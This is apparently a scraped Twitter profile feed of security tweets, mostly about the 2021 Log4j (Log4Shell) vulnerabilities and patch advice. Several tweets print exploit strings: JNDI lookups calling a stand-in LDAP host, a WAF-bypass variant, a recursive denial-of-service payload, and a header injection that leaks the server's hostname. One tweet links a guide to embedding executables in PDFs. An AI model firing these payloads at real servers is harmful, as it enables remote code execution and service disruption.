Cybertechone @cybertechone

All cyber things Joined August 2021

Tweets

32
Followers

15
Following

544
Likes

9

hAPI_hacker @hAPI_hacker

3 years ago

Hacking APIs Book Giveaway sponsored by APIsec.ai! We are giving away 10 print books. One entry per: ♥️ Like 🔁 RT 👑Bonus entry to anyone who follows @apisec_ai. Ends in 48 hours!

247 2K 4K 0 76

Download Image

Elon Musk @elonmusk

3 years ago

Twitter DMs should have end to end encryption like Signal, so no one can spy on or hack your messages

37K 94K 1.3M 0 2K

Elon Musk @elonmusk

3 years ago

🚀💫♥️ Yesss!!! ♥️💫🚀

132K 308K 2.4M 0 8K

Download Image

Nicolas Krassas @Dinosn

8 years ago

Embedding EXE payload in PDF using Metasploit - fixing PDF template errors zone13.io/post/embedding…

0 60 111 0 0

vx-underground @vxunderground

4 years ago

hhhhhhh damnnnnnnnnn

75 614 2K 0 157

Download Image

0 0 0 0 0

📢 #Log4j Vulns ~ @1ZRR4H 1) CVE-2021-44228 (RCE) - Critical Payload: ${jndi:ldap://evil[.]com:1389/a} 2) CVE-2021-45046 (RCE) - Critical Payload: ${jndi:ldap://127.0.0.1#evil[.]com:1389/a} 3) CVE-2021-45105 (DoS) - High Payload: ${${::-${::-$${::-j}}}} #Log4Shell #bug

0 148 348 0 70

Marco Lancini @lancinimarco

4 years ago

Last CloudSecList.com issue of the year just went out! I'll take a couple of weeks off, and CloudSecList will be back in January 🎄

4 4 41 0 4

I¯\_(ツ)_/¯I \ (•◡•) / @BountyOverflow

4 years ago

Log4j 2.16 vulnerability DoS Paylaod: ${${::-${::-$${::-j}}}} refer to: issues.apache.org/jira/browse/LO… #log4j #Log4Shell #log4Hell #BugBounty #BugBountytips

7 165 381 0 93

Download Image

pyn3rd @pyn3rd

4 years ago

Log4j2 < 2.17.0 sensitive data leakage , if it’s configured like pattern="${ctx:userAgent}" and put User-Agent to MDC, forged header 'User-Agent: ${hostName}' will output hostname of server. This security issue has been fixed in Log4j2 2.17.0😄

3 102 312 0 54

Download Gif

𝐑𝐀𝐢𝐡𝐚𝐧 ✪ @zapstiko

4 years ago

Previous AWS WAF bypass is patched.. here is another: @11xuxx ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #LOG4JDONTRELYONWAF

0 23 88 0 15

Download Image

Marc Rogers @marcwrogers

4 years ago

Conti Ransomware now weaponising log4j.

Vitali Kremez @VK_Intel

4 years ago

Conti Ransomware now weaponising log4j.

7 176 310 0 37

Download Image

0 3 6 0 1

Marc Rogers @marcwrogers

4 years ago

CVE-2021-45046 changed from CVSS 3.7 to 9.0 due to it being determined that the issue was an RCE in Log4j 2.15 and NOT a DOS as first assessed. Recommend reassessing mitigation and exposure. logging.apache.org/log4j/2.x/secu…

4 131 295 0 24

pyn3rd @pyn3rd

4 years ago

#CVE-2021-4104 Apache Log4j 1.x JNDI injection RCE involving JMSAppender.

4 76 229 0 38

Download Gif

pyn3rd @pyn3rd

4 years ago

Another illustration, Log4j 2.x appender for Redis in-memory data structure store and Jedis as a client for Redis. Just keep RCE with Log4j.✌️

1 20 73 0 13

Download Video

pyn3rd @pyn3rd

4 years ago

#CVE-2021-44228 Apache Solr RCE with Log4j, another application affected by Log4j, show you the illustration.

10 157 559 0 82

Download Gif

Chris Wysopal @WeldPond

4 years ago

For Apache Log4j remediation priority it seems the best approach right now is: 1. log4j 2.x through 2.14 - update to 2.16 2. log4j 1.x - update to 2.16 3. log4j 2.15 - update to 2.16

28 178 725 0 40

Thijs Bosschert @ThiceNL

4 years ago

Since the #log4j vulnerability is part of so many software packages: besides finding and patching this software also make some backups and store them in a safe (offline) location. You might need them after the Ransomware gangs start successfully weaponizing the vulnerability.